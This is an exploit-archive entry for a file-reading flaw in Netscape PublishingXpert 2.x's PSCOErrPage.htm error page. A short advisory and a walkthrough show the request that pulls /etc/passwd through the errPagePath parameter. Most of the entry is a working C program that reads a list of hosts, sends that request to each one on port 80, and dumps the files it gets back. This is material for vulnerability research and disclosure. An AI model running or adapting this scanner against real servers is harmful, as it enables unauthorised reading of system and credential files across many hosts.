Netscape PublishingXPert 2.0/2.2/2.5 - Local File Reading Vulnerability

                                                source: http://www.securityfocus.com/bid/2920/info

Netscape PublishingXpert is an e-commerce application distributed by Netscape. PublishingXpert manages user information, sending them special ads and personalized content.

PSCOErrPage.htm does not sufficiently validate input. A problem with PSCOErrPage.htm makes it possible for a remote user to view any file on the system.

This makes it possible for a remote user to launch an information gathering attack, and potentially gain local access to the system. 

/*

  Netscape PublishingXpert 2.* file-reading/dir-listing
  vuln in PSCOErrPage.htm by \x00\x00

     0s vuln:
      SunOS 5.6 and SunOS 5.5.1 (others versions affected possibly)


 discription:
      PSCOErrPage.htm is a error handler message page, when theirs
      a server error usually you will get fowarded to this along
      with a url query like this:

 /PSUser/PSCOErrPage.htm?errPagePath=%2Fusr%2FPublishingXpert%2F2.5%2Fbin%2Fpsuser%2Fen%2Fcommon%2FPSCO_ErrPage.pat&errMsg=PUBSY
S_35202%3A++The+two+passwords+provided+do+not+match
%2F= /

       so we can make this a little bit more visible by changing
       the url to be more clearly visible for us. Lets also remove
       that junk info "&errMsg=" and see what we have got...

 /PSUser/PSCOErrPage.htm?errPagePath=/usr/PublishingXpert/2.5/bin/psuser/en/common/PSCO_ErrPage.pat

       Yes, thats a fully specified filename, meaning we can input
       whatever we want. In our case lets say we wanted to snag
       /etc/passwd just request the fallowing:

     exploit:
       /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd

   Alot of big e-commernce sites are vuln to this, but luckily
   scence the level of the cgi script dose not have root
   permisions, meaning your shadow file and other root files are safe.
  
  Usage:
        xpert <infile><outfile>

*/


#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
 FLAG = 0;
}

main (int argc, char *argv[])
{
  char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  int outsocket, serv_len, len,X,c,outfd;
  struct hostent *nametocheck;
  struct sockaddr_in serv_addr;
  struct in_addr outgoing;

  char rmpMessage[]="GET /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd\n";
  while(fgets(hosta,100,stdin))
  {
    if(hosta[0] == '\0')
    break;
    hosta[strlen(hosta) -1] = '\0';
    write(1,hosta,strlen(hosta)*sizeof(char));
    write(1,"\n",sizeof(char));
    outsocket = socket (AF_INET, SOCK_STREAM, 0);
    memset (&serv_addr, 0, sizeof (serv_addr));
    serv_addr.sin_family = AF_INET;
     
    nametocheck = gethostbyname (hosta);

    (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0], sizeof(outgoing.s_addr));
    strcpy (host, inet_ntoa (outgoing));
    serv_addr.sin_addr.s_addr = inet_addr (host);
    serv_addr.sin_port = htons (80);
    signal(SIGALRM,Call);
    FLAG = 1;

    alarm(10);    
    X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
    alarm(0);

    if(FLAG == 1 && X==0){
      write(outsocket,rmpMessage,strlen(rmpMessage)*sizeof(char));
      while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X);
    }
  close (outsocket);   
  }
  return 0;
}
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